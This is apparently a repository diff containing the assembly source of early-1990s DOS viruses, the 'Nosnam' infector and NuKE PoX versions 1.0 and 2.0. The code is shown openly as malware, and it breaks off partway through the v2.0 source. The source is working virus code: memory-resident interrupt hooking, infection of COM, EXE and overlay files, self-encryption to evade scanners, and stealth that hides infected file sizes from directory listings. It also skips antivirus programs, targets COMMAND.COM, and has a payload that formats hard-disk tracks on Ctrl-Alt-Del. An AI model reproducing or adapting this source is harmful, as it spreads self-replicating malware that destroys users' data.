||||
first3: lea si,[bp+buffer] ; restore first three bytes
|
||||
mov di,100h ; 100h to restore them too
|
||||
push di ; push 100h on to stack
|
||||
movsb ; move one byte
|
||||
movsw ; move one word
|
||||
retn ; return control to host
|
||||
|
||||
isr: pushf ; push all the flags
|
||||
cmp ax,0deadh ; have we added check value?
|
||||
jne exec ; yup, wait now for 4bh
|
||||
mov bx,0deadh ; nope adding it now
|
||||
popf ; pop all flags
|
||||
iret ; pop cs:ip+flags from stack
|
||||
|
||||
exec: pusha ; push all registers
|
||||
push ds ; push DS
|
||||
push es ; likewize for ES
|
||||
cmp ah,4bh ; something being executed?
|
||||
je main ; yup, on with the infecting
|
||||
jmp exit2 ; naw, jump to original ISR
|
||||
goexit: jmp exit ; need this to make the jump
|
||||
|
||||
main: push bp ; save original delta offset
|
||||
call tsrdel ; push IP on to stack
|
||||
tsrdel: pop bp ; pop it off into BP
|
||||
sub bp,offset tsrdel ; get 2nd delta offset
|
||||
|
||||
push ds ; push DS again
|
||||
pop es ; and pop it into ES
|
||||
mov di,dx ; move file info into DI
|
||||
mov cx,64 ; 64 byte filename possible
|
||||
mov al,'.' ; load al with .
|
||||
cld ; clear direction flag
|
||||
repnz scasb ; scan until . is hit
|
||||
cmp word ptr ds:[di],'OC' ; check for .CO-
|
||||
jne goexit ; not a .com file, exit
|
||||
cmp word ptr ds:[di+2],'M' ; check for .--M
|
||||
jne goexit ; not a .com file, exit
|
||||
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; we have the attributes
|
||||
push cx ; save attribute #1
|
||||
push dx ; save attribute #2
|
||||
push ds ; save attribute #3
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; file is ready now
|
||||
|
||||
mov ax,3d02h ; open the file now
|
||||
int 21h ; open it up now
|
||||
xchg bx,ax ; move the info
|
||||
|
||||
push cs ; push code segment register
|
||||
push cs ; push it again
|
||||
pop ds ; put it into DS
|
||||
pop es ; put it into ES
|
||||
|
||||
mov ax,5700h ; get the time / date stamps
|
||||
int 21h ; got them now
|
||||
push dx ; save value #1
|
||||
push cx ; save value #2
|
||||
|
||||
mov ah,3fh ; the record function
|
||||
lea dx,[bp+buffer] ; record bytes here
|
||||
mov cx,3 ; record three bytes
|
||||
int 21h ; restore them now
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
cwd ; dx to 0
|
||||
xor cx,cx ; cx to 0
|
||||
int 21h ; DX:AX = file size now!
|
||||
|
||||
cmp dx,0 ; is the file < 65,535 bytes?
|
||||
jne close ; way to big, close it up
|
||||
mov cx,word ptr [bp+buffer+1] ; move buffer+1 into CX
|
||||
add cx,finished-start+3 ; virus size + jump
|
||||
cmp ax,cx ; compare file size and CX
|
||||
jz close ; if equal, close it up
|
||||
cmp ax,1000 ; compare 1000 bytes with CX
|
||||
jb close ; file too small, close it
|
||||
cmp ax,62000 ; compare 62,000 bytes with AX
|
||||
ja close ; file too big, close it up
|
||||
|
||||
sub ax,3 ; subtract 3 from filesize
|
||||
mov word ptr [bp+newjump+1],ax ; write as our new jump
|
||||
|
||||
mov ax,4200h ; point to start of file
|
||||
cwd ; dx to 0
|
||||
xor cx,cx ; cx to 0
|
||||
int 21h ; now pointing to start
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,3 ; three bytes
|
||||
lea dx,[bp+newjump] ; write this
|
||||
int 21h ; jump is written
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
cwd ; dx to 0
|
||||
xor cx,cx ; cx to 0
|
||||
int 21h ; now pointing to end
|
||||
|
||||
in al,40h ; get random value
|
||||
mov byte ptr [bp+key],al ; save as our key
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+start] ; where to start
|
||||
mov cx,encd-start ; # of bytes to write
|
||||
int 21h ; write those bytes
|
||||
|
||||
lea di,[bp+finished] ; DI points to encrypted area end
|
||||
push di ; save value, we need it in a minute
|
||||
lea si,[bp+encd] ; SI points to encrypted area start
|
||||
mov cx,finished-encd ; # of bytes to encrypt
|
||||
push cx ; save value, we need it in a minute
|
||||
call encr ; encrypt those bytes now
|
||||
|
||||
mov ah,40h ; write to file
|
||||
pop cx ; use that saved value from before
|
||||
pop dx ; use the other saved value
|
||||
int 21h ; write those bytes
|
||||
|
||||
close: mov ax,5701h ; set time / date stamps
|
||||
pop cx ; from saved value #2
|
||||
pop dx ; from saved value #1
|
||||
int 21h ; time / date is restored
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
pop ds ; from saved value #3
|
||||
pop dx ; from saved value #2
|
||||
pop cx ; from saved value #1
|
||||
int 21h ; attributes restored
|
||||
|
||||
mov ah,3eh ; close the file
|
||||
int 21h ; file is closed
|
||||
|
||||
exit: pop bp ; pop the original delta offset
|
||||
exit2: pop es ; pop ES from stack
|
||||
pop ds ; pop DS from stack
|
||||
popa ; pop all registers
|
||||
popf ; pop all flags
|
||||
db 0eah ; jump to original ISR
|
||||
|
||||
; ---------------------------( The Data Area )----------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
oi21 dd ? ; old int 21 goes here
|
||||
buffer db 0cdh,20h,0 ; terminates 1st gen
|
||||
virname db 'Nosnam',0 ; the virus name
|
||||
newjump db 0e9h,0,0 ; blank jump 1st gen
|
||||
finished label near ; the offset label
|
||||
|
||||
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
first: lea di,[bp+encryp] ; load with start address
|
||||
lea si,[bp+new] ; load with bytes to move
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
jmp encd ; jump to encrypted area
|
||||
|
||||
new: mov cx,finished-encd ; this will overwrite the jump
|
||||
|
||||
; ------------------------------( The End )-------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code ends ; end code segment
|
||||
end blank ; end it all / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
|
@ -0,0 +1,344 @@
|
|||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
|
||||
;*- ~~~~~~ *-
|
||||
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
|
||||
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
|
||||
;-* Encrypted Copies of the Virus) -*
|
||||
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
crypt_size equ crypt - init_virus ;All that gets Incrypted
|
||||
virus_size equ last - init_virus ;Size of the Virus
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h
|
||||
del_code equ 53h ;CTRL-ATL-DEL Key
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
rocko proc far
|
||||
|
||||
start: jmp init_virus ;+3 bytes
|
||||
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
|
||||
call doit_now ;Doit VirusMan... ;+3 Bytes
|
||||
;========
|
||||
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
|
||||
sub bp,109h ;have to be added to the 100h! This
|
||||
push ax ;SETs our `Delta Pointer'.
|
||||
push bx
|
||||
push cx
|
||||
push dx ;Save registers
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,0abcdh ;Are we resident Already?
|
||||
int 21h
|
||||
cmp bx,0abcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
|
||||
mov ax,3509h ;Hook Int 9 Please...
|
||||
int 21h
|
||||
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
|
||||
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
|
||||
|
||||
mov ax,3521h ;Some AVs may INTCEPT this Call!
|
||||
int 21h ;May be better to go Manually...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1
|
||||
mov dx,virus_size+virus_size ;Size to `Hide'
|
||||
mov cl,4 ;And all this crap hides
|
||||
shr dx,cl ;your number of bytes in DX
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4ah ;Call int to do it...
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h
|
||||
dec dx
|
||||
mov bx,dx ;It's Done... Yeah!
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8h ;Here we move our Virus into
|
||||
mov es:mut2,cx ;the `Hidden' memory!
|
||||
sub ax,0fh
|
||||
mov di,mut3
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,offset init_virus
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ax,2509h ;Restore Int9 with ours
|
||||
mov dx,offset int9_handler ;The Handler...
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
exit_com:
|
||||
mov bx,offset buffer ; Its a COM file restore
|
||||
add bx,bp ; First three Bytes...
|
||||
mov ax,[bx] ; Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ; First two bytes Restored
|
||||
add bx,2 ; Get the next Byte
|
||||
mov al,[bx] ; Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ; Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ; Jump Back to Beginning
|
||||
push ax ; Restores our IP (a CALL
|
||||
retn ; Saves them, now we change
|
||||
int21 dd ? ;Our Old Int21
|
||||
int9 dd ? ;Our Old Int9
|
||||
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int9_handler:
|
||||
push ax
|
||||
in al,60h ;Has the user attempted a
|
||||
cmp al,del_code ;CTRL-ALT-DEL
|
||||
je warm_reboot ;Yes! Screw him
|
||||
bye_bye: pop ax
|
||||
jmp dword ptr cs:[int9] ;Nope, Leave alone
|
||||
warm_reboot:
|
||||
mov ah,2ah ;Get Date Please
|
||||
int 21h
|
||||
cmp dl,18h ;Is it 24th of the Month?
|
||||
jne bye_bye ;Yes, bye_Bye HD
|
||||
mov ch,0
|
||||
hurt_me: mov ah,05h
|
||||
mov dh,0
|
||||
mov dl,80h ;Formats a few tracks...
|
||||
int 13h ;Hurts So good...
|
||||
inc ch
|
||||
cmp ch,20h
|
||||
loopne hurt_me
|
||||
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
||||
iret
|
||||
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
dir_handler:
|
||||
pushf
|
||||
push cs
|
||||
call int21call ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected ;Not for us man...
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,1dh ;Is in 58 seconds?
|
||||
jnz not_infected ;Nope...
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler:
|
||||
cmp ax,4b00h ;File executed
|
||||
je execute
|
||||
cmp ah,11h ;Dir handler
|
||||
je dir_handler
|
||||
cmp ah,12h ;Next file Dir handler
|
||||
je dir_handler
|
||||
cmp ax,0abcdh ;Virus testing
|
||||
jne int21call
|
||||
mov bx,0abcdh
|
||||
int21call:
|
||||
jmp dword ptr cs:[int21] ;Split...
|
||||
ret
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,4300h ;Get file Attribs
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
open_file: mov ax,3D02h
|
||||
int 21h ;Open File to Infect please
|
||||
|
||||
jc exit ;Error Split
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
int 21h
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
dec cx ;58 seconds
|
||||
xor al,cl ;Is it 58 seconds?
|
||||
jz exit ;File already infected
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
|
||||
mov ah,3Fh
|
||||
mov cx,3h
|
||||
mov dx,offset ds:[buffer] ;Read first 3 bytes
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer to end
|
||||
xor cx,cx ;of file...
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exit ;Yupe! Split
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr cs:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit_now ;error split
|
||||
mov ah,40h ;Write back the first 3
|
||||
mov dx,offset ds:[jump_address] ;bytes
|
||||
mov cx,3h
|
||||
int 21h
|
||||
exit_now:
|
||||
mov cx,word ptr cs:[old_time] ;Restore old time
|
||||
mov dx,word ptr cs:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ;Close File now...
|
||||
exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
||||
rocko endp
|
||||
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc near
|
||||
mov ah,2ch ;Get Time
|
||||
int 21h
|
||||
push dx ;Split seconds to AX
|
||||
pop ax
|
||||
mov byte ptr cs:[value],al ;AL = 0 to 99
|
||||
;New Encryption Value
|
||||
mov cx,virus_size
|
||||
push cs
|
||||
pop es ;Copy ANOTHER copy of the
|
||||
mov si,offset init_virus ;Virus to the end of us
|
||||
mov di,offset last
|
||||
repne movsb
|
||||
|
||||
mov cx,crypt_size
|
||||
sub cx,3h ;Encrypt that 2nd copy!
|
||||
push bp
|
||||
mov bp,offset last + 3h
|
||||
call decrypt_encrypt
|
||||
pop bp
|
||||
|
||||
mov ah,40h ;Write the New Encrypted
|
||||
mov dx,offset last ;Virus to File!
|
||||
mov cx,virus_size
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to beginning
|
||||
xor dx,dx ;file!
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
retn
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
retn
|
||||
infect_me endp
|
||||
old_time dw ?
|
||||
old_date dw ?
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h
|
||||
crypt:
|
||||
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
|
||||
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
|
||||
decrypt proc near
|
||||
pop bp
|
||||
push bp
|
||||
mov al,byte ptr [value-106h][bp] ;Get new Encryption
|
||||
mov cx,crypt_size ;Value
|
||||
decrypt_encrypt:
|
||||
xor cs:[bp],al ;Fuck Scanners and put a
|
||||
inc bp ;`NOT AL' anywhere here...
|
||||
loop decrypt_encrypt
|
||||
retn
|
||||
value db 00h ;Encryption value!
|
||||
decrypt endp
|
||||
last:
|
||||
seg_a ends
|
||||
end start
|
|
@ -0,0 +1,842 @@
|
|||
;==========================================================================
|
||||
; ** NuKE Pox v2.0 **
|
||||
;This is VERY old code but I promised to give it out, you'll see it exactly
|
||||
;like Npox v1.1 in IJ#4, The code here is VERY BADLY written, I wrote WHOLE
|
||||
;procedures TWICE! so LOTS of double code, I leave it UNTOUCHED for you to
|
||||
;see, and understand it! I don't care if you fuck with it, go for it!
|
||||
;The method of TSR is old, method of getting the Vectors is bad, the way
|
||||
;I infect EXEs ain't too hot... But hell it works! It infects overlays..
|
||||
;it won't infect F-prot.exe or anything with ????SCAN.EXE like SCAN.EXE or
|
||||
;TBSCAN.EXE etc... Command.com dies fast... Really neat...Play all you like
|
||||
;
|
||||
;And to all those that said I `Hacked' this...
|
||||
; FFFFFF UU UU CCCC KK KK YY YY OOOO UU UU
|
||||
; FF UU UU CC CC KK KK YY YY OO OO UU UU
|
||||
; FFFF UU UU CC KKK === YY OO OO UU UU
|
||||
; FF UU UU CC CC KK KK YY OO OO UU UU
|
||||
; FF UUUUUU CCCC KK KK YY OOOO UUUUUU
|
||||
;Just cuz you can't do it, doesn't mean I can't, anyhow my 93 viruses are
|
||||
;500% better than this one...
|
||||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* -*
|
||||
;*- Virus: NuKE PoX Version: 2.0 *-
|
||||
;-* ~~~~~~ ~~~~~~~~ -*
|
||||
;*- Notes: EXE & COM & OVL Infector, TSR Virus. Dir Stealth Routine. *-
|
||||
;-* Will Disinfect files that are opened, and re-infect them -*
|
||||
;*- when they are closed! Executed files are disinfected then *-
|
||||
;-* executed, and when terminated reinfected! -*
|
||||
;*- VERY HARD to stop, it goes for your COMMAND.COM! beware! *-
|
||||
;-* It is listed as a COMMON Virus due to is stealthiness! -*
|
||||
;*- Bytes: 1800 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
virus_size equ last - init_virus ;Virus size
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h ;Offset location
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h ;COM file!
|
||||
rocko proc far
|
||||
start: jmp init_virus
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Virus Begins Here...
|
||||
;-------------------------------------------------------------------------
|
||||
init_virus: call doit_now ;Doit VirusMan...
|
||||
doit_now: pop bp ;Not to Lose Track
|
||||
sub bp,106h ;Set our position
|
||||
push ax ;Save all the regesters
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
mov ax,0abcdh ;Are we resident Already?
|
||||
int 21h ;***McAfee Scan String!
|
||||
cmp bx,0abcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
mov ax,3521h ;Sometimes tend to inter-
|
||||
int 21h ;cept this Interrupt...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1 ;Get TOM size
|
||||
mov dx,virus_size ;Virus size in DX
|
||||
mov cl,4 ;Shift 4 bits
|
||||
shr dx,cl ;Fast way to divide by 16
|
||||
add dx,4 ;add 1 more para segment
|
||||
mov cx,es ;current MCB segment
|
||||
sub bx,dx ;sub virus_size from TOM
|
||||
inc cx ;put back right location
|
||||
mov es,cx
|
||||
mov ah,4ah ;Set_block
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h ;now allocate it
|
||||
dec dx ;number of para
|
||||
mov bx,dx ;
|
||||
int 21h
|
||||
jc exit_com
|
||||
dec ax ;get MCB
|
||||
mov es,ax
|
||||
mov cx,8h ;Made DOS the owner of MCB
|
||||
mov es:mut2,cx ;put it...
|
||||
sub ax,0fh ;get TOM
|
||||
mov di,mut3 ;beginnig of our loc in mem
|
||||
mov es,ax ;
|
||||
mov si,bp ;delta pointer
|
||||
add si,offset init_virus ;where to start
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb ;move us
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
exit_com: push cs
|
||||
pop ds
|
||||
cmp word ptr cs:[buffer][bp],5A4Dh
|
||||
je exit_exe_file
|
||||
mov bx,offset buffer ;Its a COM file restore
|
||||
add bx,bp ;First three Bytes...
|
||||
mov ax,[bx] ;Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ;First two bytes Restored
|
||||
add bx,2 ;Get the next Byte
|
||||
mov al,[bx] ;Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ;Restore the Last of 3b
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ;Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ;Jump Back to Beginning
|
||||
push ax ;Restores our IP (a CALL
|
||||
retn ;Saves them, now we changed
|
||||
command db "C:\COMMAND.COM",0
|
||||
|
||||
exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc
|
||||
mov dx,cs ;
|
||||
sub dx,bx
|
||||
mov ax,dx
|
||||
add ax,word ptr cs:[exe_cs][bp] ;add it to our segs
|
||||
add dx,word ptr cs:[exe_ss][bp]
|
||||
mov bx,word ptr cs:[exe_ip][bp]
|
||||
mov word ptr cs:[fuck_yeah][bp],bx
|
||||
mov word ptr cs:[fuck_yeah+2][bp],ax
|
||||
mov ax,word ptr cs:[exe_ip][bp]
|
||||
mov word ptr cs:[Rock_fix1][bp],dx
|
||||
mov word ptr cs:[Rock_fix2][bp],ax
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
db 0B8h ;nothing but MOV AX,XXXX
|
||||
Rock_Fix1:
|
||||
dw 0
|
||||
cli
|
||||
mov ss,ax
|
||||
db 0BCh ;nothing but MOV SP,XXXX
|
||||
Rock_Fix2:
|
||||
dw 0
|
||||
sti
|
||||
db 0EAh ;nothing but JMP XXXX:XXXX
|
||||
Fuck_yeah:
|
||||
dd 0
|
||||
int21 dd ? ;Our Old Int21
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Dir Handler
|
||||
;-------------------------------------------------------------------------
|
||||
old_dir: call calldos21 ;get FCB
|
||||
test al,al ;error?
|
||||
jnz old_out ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;get PSP
|
||||
int 21h
|
||||
mov es,bx ;
|
||||
cmp bx,es:[16h] ;
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh
|
||||
int 21h
|
||||
pop ax
|
||||
inc al ;Extended FCB?
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh
|
||||
cmp al,1eh
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17h],0e0h ;fix secs
|
||||
sub word ptr es:[bx+1dh],virus_size
|
||||
sbb word ptr es:[bx+1fh],0
|
||||
not_infected: pop es
|
||||
pop bx
|
||||
pop ax
|
||||
old_out: iret
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Int 21 Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler: cmp ah,11h
|
||||
je old_dir
|
||||
cmp ah,12h
|
||||
je old_dir
|
||||
cmp ax,4b00h ;File executed
|
||||
je dis_infect
|
||||
cmp ah,3dh
|
||||
je check_file
|
||||
cmp ah,3eh
|
||||
je check_file2
|
||||
cmp ax,0abcdh ;Virus testing
|
||||
jne int21call
|
||||
mov bx,0abcdh
|
||||
int21call: jmp dword ptr cs:[int21] ;Split...
|
||||
|
||||
check_file: jmp opening_file ;Like a Charm
|
||||
check_file2: jmp closing_file
|
||||
dis_infect: call disinfect ;EXE & COM okay
|
||||
dont_disinfect: push dx
|
||||
pushf
|
||||
push cs
|
||||
call int21call
|
||||
pop dx
|
||||
|
||||
execute: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push bp
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset command
|
||||
mov bp,0abcdh
|
||||
jmp command1
|
||||
command_ret: pop bp
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
call check_4_av
|
||||
jc exit1
|
||||
command1: mov ax,4300h ;Get file Attribs
|
||||
call calldos21
|
||||
jc exit1
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
call calldos21
|
||||
jc exit
|
||||
open_file: mov ax,3D02h
|
||||
call calldos21
|
||||
exit1: jc exit
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
Call calldos21
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
xor al,cl ;Is it 60 seconds?
|
||||
jz exit ;File already infected
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
mov ah,3Fh
|
||||
mov cx,1Bh ;Read first 1B
|
||||
mov dx,offset ds:[buffer] ;into our Buffer
|
||||
call calldos21
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer
|
||||
xor cx,cx ;to EOF File
|
||||
xor dx,dx
|
||||
call calldos21
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exe_infect ;Infect EXE file
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr ds:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit
|
||||
mov ah,40h ;Write back the
|
||||
mov dx,offset jump_address
|
||||
mov cx,3h
|
||||
call calldos21
|
||||
exit_now:
|
||||
mov cx,word ptr ds:[old_time] ;Restore old time
|
||||
mov dx,word ptr ds:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
call calldos21
|
||||
mov ah,3Eh
|
||||
call calldos21
|
||||
exit: cmp bp,0abcdh
|
||||
je command2
|
||||
pop ds
|
||||
